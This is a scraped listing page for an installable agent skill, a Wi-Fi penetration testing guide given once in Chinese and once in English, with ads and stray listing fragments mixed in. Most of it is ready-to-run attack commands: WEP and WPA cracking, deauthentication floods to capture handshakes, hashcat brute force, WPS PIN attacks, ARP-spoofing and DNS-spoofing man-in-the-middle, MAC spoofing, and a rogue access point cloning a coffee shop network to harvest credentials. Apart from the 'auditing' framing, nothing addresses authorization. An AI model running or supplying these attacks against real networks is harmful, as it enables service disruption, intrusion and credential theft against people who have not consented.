Wi-Fi Penetration Testing by zebbern/secops-cli-guides
npx skills add https://github.com/zebbern/secops-cli-guides --skill 'Wi-Fi Penetration Testing'通过测试加密强度、捕获认证握手过程以及利用 Wi-Fi 实现中的漏洞来评估无线网络安全性。此技能涵盖侦察、预连接攻击、加密破解和连接后利用技术,用于全面的无线安全审计。
# 核心无线工具
sudo apt-get install aircrack-ng wireshark reaver
# 附加工具
sudo apt-get install ettercap-graphical bettercap hostapd-wpe
连接并验证无线网卡功能:
广告位招租
在这里展示您的产品或服务
触达数万 AI 开发者,精准高效
# 检查网卡是否被识别
lsusb
# 查找:"Realtek Semiconductor Corp." 或 "Atheros Communications"
# 验证无线接口是否存在
ifconfig
iwconfig
# 如果需要,安装驱动程序(Realtek 示例)
sudo apt-get update
sudo apt-get install realtek-rtl88xxau-dkms
配置网卡以捕获数据包:
# 检查当前模式
iwconfig wlan0
# 终止干扰进程
sudo airmon-ng check kill
# 启用监听模式
sudo airmon-ng start wlan0
# 验证监听模式(接口变为 wlan0mon)
iwconfig wlan0mon
# 应显示:Mode: Monitor
扫描可用的无线网络:
# 扫描所有网络
sudo airodump-ng wlan0mon
# 输出列:
# BSSID - 接入点 MAC 地址
# PWR - 信号强度(数值越高,距离越近)
# Beacons - 信标帧数量
# #Data - 数据包数量
# #/s - 每秒数据包数
# CH - 信道
# MB - 最大速度
# ENC - 加密方式(WEP, WPA, WPA2, OPN)
# CIPHER - 加密算法(CCMP, TKIP, WEP)
# AUTH - 认证方式(PSK, MGT, SKA, OPN)
# ESSID - 网络名称
# 按特定信道过滤
sudo airodump-ng -c 6 wlan0mon
# 按 BSSID 过滤
sudo airodump-ng --bssid AA:BB:CC:DD:EE:FF wlan0mon
将捕获集中在目标网络上:
# 捕获特定网络的数据包
sudo airodump-ng --bssid [TARGET_BSSID] -c [CHANNEL] -w capture wlan0mon
# 示例:
sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w capture wlan0mon
# 这将创建:
# capture-01.cap - 数据包捕获文件
# capture-01.csv - 包含网络信息的 CSV 文件
# capture-01.kismet.csv - Kismet 格式文件
破解过时的 WEP 加密:
# 步骤 1:开始捕获目标网络
sudo airodump-ng --bssid [BSSID] -c [CH] -w wep_capture wlan0mon
# 步骤 2:虚假认证(如果需要)
sudo aireplay-ng -1 0 -e [SSID] -a [BSSID] -h [YOUR_MAC] wlan0mon
# 步骤 3:ARP 重放攻击(生成流量)
sudo aireplay-ng -3 -b [BSSID] -h [YOUR_MAC] wlan0mon
# 步骤 4:等待足够的 IV 数量(通常 20,000+)
# 在 airodump-ng 中监控 #Data 列
# 步骤 5:破解密钥
sudo aircrack-ng wep_capture-01.cap
# 输出:KEY FOUND! [ XX:XX:XX:XX:XX ]
捕获四次握手以进行离线破解:
# 步骤 1:监控目标网络
sudo airodump-ng --bssid [BSSID] -c [CH] -w wpa_capture wlan0mon
# 步骤 2:等待客户端连接 或 强制解除认证
# 解除认证攻击(强制重新连接)
sudo aireplay-ng --deauth 10 -a [BSSID] wlan0mon
# 解除特定客户端的认证
sudo aireplay-ng --deauth 10 -a [BSSID] -c [CLIENT_MAC] wlan0mon
# 步骤 3:在 airodump-ng 中观察 "WPA handshake: [BSSID]"
# 步骤 4:验证握手捕获
sudo aircrack-ng wpa_capture-01.cap
# 应显示:"1 handshake"
使用字典文件破解捕获的握手:
# 字典攻击
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt -b [BSSID] wpa_capture-01.cap
# 使用自定义字典文件
sudo aircrack-ng -w custom_wordlist.txt -b [BSSID] wpa_capture-01.cap
# 使用 hashcat(GPU 加速更快)
# 将捕获文件转换为 hashcat 格式
sudo aircrack-ng -j hash wpa_capture-01.cap
# 运行 hashcat
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
# 使用 hashcat 进行暴力破解(8 字符密码)
hashcat -m 22000 -a 3 hash.hc22000 ?a?a?a?a?a?a?a?a
利用 Wi-Fi 保护设置漏洞:
# 扫描启用 WPS 的网络
sudo wash -i wlan0mon
# 攻击 WPS PIN 码
sudo reaver -i wlan0mon -b [BSSID] -vv
# 更快的 Pixie-Dust 攻击
sudo reaver -i wlan0mon -b [BSSID] -vv -K 1
# 使用 bully(替代工具)
sudo bully -b [BSSID] -c [CH] wlan0mon
获得网络访问权限后:
中间人攻击:
# 启用 IP 转发
echo 1 > /proc/sys/net/ipv4/ip_forward
# 使用 ettercap 进行 ARP 欺骗
sudo ettercap -T -q -i wlan0 -M arp:remote /[VICTIM_IP]// /[ROUTER_IP]//
# 使用 arpspoof
sudo arpspoof -i wlan0 -t [VICTIM_IP] [ROUTER_IP]
sudo arpspoof -i wlan0 -t [ROUTER_IP] [VICTIM_IP]
DNS 欺骗:
# 创建 etter.dns 文件
echo "* A [YOUR_IP]" > /etc/ettercap/etter.dns
# 运行带有 DNS 欺骗的 ettercap
sudo ettercap -T -q -i wlan0 -M arp:remote -P dns_spoof /[VICTIM_IP]// /[ROUTER_IP]//
捕获凭据:
# 捕获 HTTP 流量
sudo tcpdump -i wlan0 -w traffic.pcap
# 使用特定过滤器捕获
sudo tcpdump -i wlan0 port 80 or port 443 -w web_traffic.pcap
# 使用 Wireshark 分析
wireshark traffic.pcap
规避基于 MAC 的访问控制:
# 查看当前 MAC 地址
ifconfig wlan0 | grep ether
# 禁用接口
sudo ifconfig wlan0 down
# 更改 MAC 地址
sudo ifconfig wlan0 hw ether 00:11:22:33:44:55
# 或使用 macchanger
sudo macchanger -r wlan0 # 随机 MAC
sudo macchanger -m 00:11:22:33:44:55 wlan0 # 指定 MAC
# 启用接口
sudo ifconfig wlan0 up
| 操作 | 命令 |
|---|---|
| 启用监听模式 | sudo airmon-ng start wlan0 |
| 禁用监听模式 | sudo airmon-ng stop wlan0mon |
| 扫描网络 | sudo airodump-ng wlan0mon |
| 定位目标网络 | sudo airodump-ng --bssid [BSSID] -c [CH] -w capture wlan0mon |
| 解除认证攻击 | sudo aireplay-ng --deauth 10 -a [BSSID] wlan0mon |
| 破解 WPA | sudo aircrack-ng -w wordlist.txt capture.cap |
| WPS 攻击 | sudo reaver -i wlan0mon -b [BSSID] -vv |
| 终止进程 | sudo airmon-ng check kill |
| 协议 | 安全级别 | 破解难度 |
|---|---|---|
| 开放网络 | 无 | N/A - 无加密 |
| WEP | 非常弱 | 简单 - 有流量时几分钟 |
| WPA-TKIP | 弱 | 中等 - 字典攻击 |
| WPA2-PSK | 中等 | 困难 - 强密码可抵抗 |
| WPA2-企业版 | 强 | 非常困难 - 需要凭据 |
| WPA3 | 强 | 非常困难 - Dragonfly 握手 |
# Kali Linux 字典文件
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/fasttrack.txt
/usr/share/wordlists/nmap.lst
/usr/share/john/password.lst
# 下载 SecLists
git clone https://github.com/danielmiessler/SecLists
# Wi-Fi 专用:SecLists/Passwords/WiFi-WPA/
| PWR 值 | 质量 | 推荐操作 |
|---|---|---|
| -30 到 -50 | 极佳 | 理想的测试条件 |
| -50 到 -60 | 良好 | 可靠的捕获 |
| -60 到 -70 | 一般 | 可能丢失数据包 |
| -70 到 -80 | 弱 | 靠近目标 |
| 低于 -80 | 差 | 不可行 |
场景: 审计家庭网络安全
# 步骤 1:设置
sudo airmon-ng check kill
sudo airmon-ng start wlan0
# 步骤 2:查找目标
sudo airodump-ng wlan0mon
# 记录:BSSID=00:11:22:33:44:55, CH=6, ESSID=HomeNetwork
# 步骤 3:捕获握手
sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w home_capture wlan0mon
# 步骤 4:解除客户端认证(新终端)
sudo aireplay-ng --deauth 5 -a 00:11:22:33:44:55 wlan0mon
# 步骤 5:等待 "WPA handshake" 消息
# 步骤 6:破解密码
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt home_capture-01.cap
# 结果:KEY FOUND! [ password123 ]
场景: 创建恶意接入点以捕获凭据
# 步骤 1:获取目标网络详情
sudo airodump-ng wlan0mon
# 目标:"CoffeeShop_WiFi" 在信道 1
# 步骤 2:创建 hostapd 配置
cat > /tmp/hostapd.conf << EOF
interface=wlan1
driver=nl80211
ssid=CoffeeShop_WiFi
channel=1
EOF
# 步骤 3:启动恶意 AP
sudo hostapd /tmp/hostapd.conf
# 步骤 4:设置 DHCP 和 DNS
sudo dnsmasq -C /tmp/dnsmasq.conf
# 步骤 5:使用强制门户捕获凭据
场景: 发现并连接到隐藏 SSID
# 隐藏网络在 ESSID 列显示 <length: X>
sudo airodump-ng wlan0mon
# 强制客户端解除认证以在探测请求中显示 SSID
sudo aireplay-ng --deauth 5 -a [BSSID] wlan0mon
# 当客户端重新连接时,ESSID 将出现
# 或使用 mdk3 进行探测请求泛洪
sudo mdk3 wlan0mon p -t [BSSID]
问题: airmon-ng start wlan0 失败或未创建监听接口
解决方案:
为您的网卡芯片组安装正确的驱动程序
检查网卡是否支持监听模式:iw list | grep monitor
终止干扰进程:sudo airmon-ng check kill
尝试手动方法:
sudo ifconfig wlan0 down sudo iwconfig wlan0 mode monitor sudo ifconfig wlan0 up
更新内核和驱动程序
问题: 解除认证攻击未产生握手包
解决方案:
--deauth 50问题: 字典文件耗尽但未找到密码
解决方案:
aircrack-ng capture.cap问题: 解除认证数据包不影响客户端
解决方案:
aireplay-ng -9 wlan0mon每周安装次数
–
仓库
GitHub 星标数
24
首次出现时间
–
安全审计
Assess wireless network security by testing encryption strength, capturing authentication handshakes, and exploiting vulnerabilities in Wi-Fi implementations. This skill covers reconnaissance, pre-connection attacks, encryption cracking, and post-connection exploitation techniques for comprehensive wireless security auditing.
# Core wireless tools
sudo apt-get install aircrack-ng wireshark reaver
# Additional tools
sudo apt-get install ettercap-graphical bettercap hostapd-wpe
Connect and verify wireless adapter capabilities:
# Check if adapter is recognized
lsusb
# Look for: "Realtek Semiconductor Corp." or "Atheros Communications"
# Verify wireless interface exists
ifconfig
iwconfig
# Install drivers if needed (Realtek example)
sudo apt-get update
sudo apt-get install realtek-rtl88xxau-dkms
Configure adapter for packet capture:
# Check current mode
iwconfig wlan0
# Kill interfering processes
sudo airmon-ng check kill
# Enable monitor mode
sudo airmon-ng start wlan0
# Verify monitor mode (interface becomes wlan0mon)
iwconfig wlan0mon
# Should show: Mode: Monitor
Scan for available wireless networks:
# Scan all networks
sudo airodump-ng wlan0mon
# Output columns:
# BSSID - Access point MAC address
# PWR - Signal strength (higher = closer)
# Beacons - Number of beacon frames
# #Data - Number of data packets
# #/s - Data packets per second
# CH - Channel
# MB - Maximum speed
# ENC - Encryption (WEP, WPA, WPA2, OPN)
# CIPHER - Cipher (CCMP, TKIP, WEP)
# AUTH - Authentication (PSK, MGT, SKA, OPN)
# ESSID - Network name
# Filter by specific channel
sudo airodump-ng -c 6 wlan0mon
# Filter by BSSID
sudo airodump-ng --bssid AA:BB:CC:DD:EE:FF wlan0mon
Focus capture on target network:
# Capture packets from specific network
sudo airodump-ng --bssid [TARGET_BSSID] -c [CHANNEL] -w capture wlan0mon
# Example:
sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w capture wlan0mon
# This creates:
# capture-01.cap - Packet capture file
# capture-01.csv - CSV with network info
# capture-01.kismet.csv - Kismet format
Crack outdated WEP encryption:
# Step 1: Start capture on target
sudo airodump-ng --bssid [BSSID] -c [CH] -w wep_capture wlan0mon
# Step 2: Fake authentication (if needed)
sudo aireplay-ng -1 0 -e [SSID] -a [BSSID] -h [YOUR_MAC] wlan0mon
# Step 3: ARP replay attack (generate traffic)
sudo aireplay-ng -3 -b [BSSID] -h [YOUR_MAC] wlan0mon
# Step 4: Wait for sufficient IVs (typically 20,000+)
# Monitor #Data column in airodump-ng
# Step 5: Crack the key
sudo aircrack-ng wep_capture-01.cap
# Output: KEY FOUND! [ XX:XX:XX:XX:XX ]
Capture 4-way handshake for offline cracking:
# Step 1: Monitor target network
sudo airodump-ng --bssid [BSSID] -c [CH] -w wpa_capture wlan0mon
# Step 2: Wait for client connection OR force deauthentication
# Deauth attack (forces reconnection)
sudo aireplay-ng --deauth 10 -a [BSSID] wlan0mon
# Deauth specific client
sudo aireplay-ng --deauth 10 -a [BSSID] -c [CLIENT_MAC] wlan0mon
# Step 3: Watch for "WPA handshake: [BSSID]" in airodump-ng
# Step 4: Verify handshake capture
sudo aircrack-ng wpa_capture-01.cap
# Should show: "1 handshake"
Crack captured handshake with wordlist:
# Dictionary attack
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt -b [BSSID] wpa_capture-01.cap
# Using custom wordlist
sudo aircrack-ng -w custom_wordlist.txt -b [BSSID] wpa_capture-01.cap
# Using hashcat (faster with GPU)
# Convert capture to hashcat format
sudo aircrack-ng -j hash wpa_capture-01.cap
# Run hashcat
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
# Brute force with hashcat (8-character passwords)
hashcat -m 22000 -a 3 hash.hc22000 ?a?a?a?a?a?a?a?a
Exploit Wi-Fi Protected Setup vulnerabilities:
# Scan for WPS-enabled networks
sudo wash -i wlan0mon
# Attack WPS PIN
sudo reaver -i wlan0mon -b [BSSID] -vv
# Faster Pixie-Dust attack
sudo reaver -i wlan0mon -b [BSSID] -vv -K 1
# Using bully (alternative tool)
sudo bully -b [BSSID] -c [CH] wlan0mon
After gaining network access:
Man-in-the-Middle Attack:
# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# ARP spoofing with ettercap
sudo ettercap -T -q -i wlan0 -M arp:remote /[VICTIM_IP]// /[ROUTER_IP]//
# Using arpspoof
sudo arpspoof -i wlan0 -t [VICTIM_IP] [ROUTER_IP]
sudo arpspoof -i wlan0 -t [ROUTER_IP] [VICTIM_IP]
DNS Spoofing:
# Create etter.dns file
echo "* A [YOUR_IP]" > /etc/ettercap/etter.dns
# Run ettercap with DNS spoofing
sudo ettercap -T -q -i wlan0 -M arp:remote -P dns_spoof /[VICTIM_IP]// /[ROUTER_IP]//
Capture Credentials:
# Capture HTTP traffic
sudo tcpdump -i wlan0 -w traffic.pcap
# Capture with specific filters
sudo tcpdump -i wlan0 port 80 or port 443 -w web_traffic.pcap
# Analyze with Wireshark
wireshark traffic.pcap
Evade MAC-based access controls:
# View current MAC
ifconfig wlan0 | grep ether
# Disable interface
sudo ifconfig wlan0 down
# Change MAC address
sudo ifconfig wlan0 hw ether 00:11:22:33:44:55
# Or use macchanger
sudo macchanger -r wlan0 # Random MAC
sudo macchanger -m 00:11:22:33:44:55 wlan0 # Specific MAC
# Enable interface
sudo ifconfig wlan0 up
| Action | Command |
|---|---|
| Enable monitor mode | sudo airmon-ng start wlan0 |
| Disable monitor mode | sudo airmon-ng stop wlan0mon |
| Scan networks | sudo airodump-ng wlan0mon |
| Target network | sudo airodump-ng --bssid [BSSID] -c [CH] -w capture wlan0mon |
| Deauth attack | sudo aireplay-ng --deauth 10 -a [BSSID] wlan0mon |
| Crack WPA | sudo aircrack-ng -w wordlist.txt capture.cap |
| Protocol | Security Level | Cracking Difficulty |
|---|---|---|
| Open | None | N/A - No encryption |
| WEP | Very Weak | Easy - Minutes with traffic |
| WPA-TKIP | Weak | Medium - Dictionary attack |
| WPA2-PSK | Moderate | Hard - Strong password resistant |
| WPA2-Enterprise | Strong | Very Hard - Requires credentials |
| WPA3 | Strong | Very Hard - Dragonfly handshake |
# Kali Linux wordlists
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/fasttrack.txt
/usr/share/wordlists/nmap.lst
/usr/share/john/password.lst
# Download SecLists
git clone https://github.com/danielmiessler/SecLists
# Wi-Fi specific: SecLists/Passwords/WiFi-WPA/
| PWR Value | Quality | Recommended Action |
|---|---|---|
| -30 to -50 | Excellent | Ideal for testing |
| -50 to -60 | Good | Reliable capture |
| -60 to -70 | Fair | May miss packets |
| -70 to -80 | Weak | Move closer |
| Below -80 | Poor | Not viable |
Scenario: Audit home network security
# Step 1: Setup
sudo airmon-ng check kill
sudo airmon-ng start wlan0
# Step 2: Find target
sudo airodump-ng wlan0mon
# Note: BSSID=00:11:22:33:44:55, CH=6, ESSID=HomeNetwork
# Step 3: Capture handshake
sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w home_capture wlan0mon
# Step 4: Deauth client (new terminal)
sudo aireplay-ng --deauth 5 -a 00:11:22:33:44:55 wlan0mon
# Step 5: Wait for "WPA handshake" message
# Step 6: Crack password
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt home_capture-01.cap
# Result: KEY FOUND! [ password123 ]
Scenario: Create rogue access point for credential capture
# Step 1: Get target network details
sudo airodump-ng wlan0mon
# Target: "CoffeeShop_WiFi" on channel 1
# Step 2: Create hostapd config
cat > /tmp/hostapd.conf << EOF
interface=wlan1
driver=nl80211
ssid=CoffeeShop_WiFi
channel=1
EOF
# Step 3: Start rogue AP
sudo hostapd /tmp/hostapd.conf
# Step 4: Setup DHCP and DNS
sudo dnsmasq -C /tmp/dnsmasq.conf
# Step 5: Capture credentials with captive portal
Scenario: Discover and connect to hidden SSID
# Hidden networks show <length: X> in ESSID column
sudo airodump-ng wlan0mon
# Force client deauth to reveal SSID in probe request
sudo aireplay-ng --deauth 5 -a [BSSID] wlan0mon
# ESSID will appear when client reconnects
# Or use mdk3 for probe request flood
sudo mdk3 wlan0mon p -t [BSSID]
Problem: airmon-ng start wlan0 fails or no monitor interface created
Solutions:
Install correct drivers for your adapter chipset
Check if adapter supports monitor mode: iw list | grep monitor
Kill interfering processes: sudo airmon-ng check kill
Try manual method:
sudo ifconfig wlan0 down sudo iwconfig wlan0 mode monitor sudo ifconfig wlan0 up
Update kernel and drivers
Problem: Deauth attacks not producing handshake
Solutions:
--deauth 50Problem: Wordlist exhausted without finding password
Solutions:
aircrack-ng capture.capProblem: Deauth packets not affecting clients
Solutions:
aireplay-ng -9 wlan0monWeekly Installs
–
Repository
GitHub Stars
24
First Seen
–
Security Audits
xdrop 文件传输脚本:Bun 环境下安全上传下载工具,支持加密分享
27,100 周安装
| WPS attack | sudo reaver -i wlan0mon -b [BSSID] -vv |
| Kill processes | sudo airmon-ng check kill |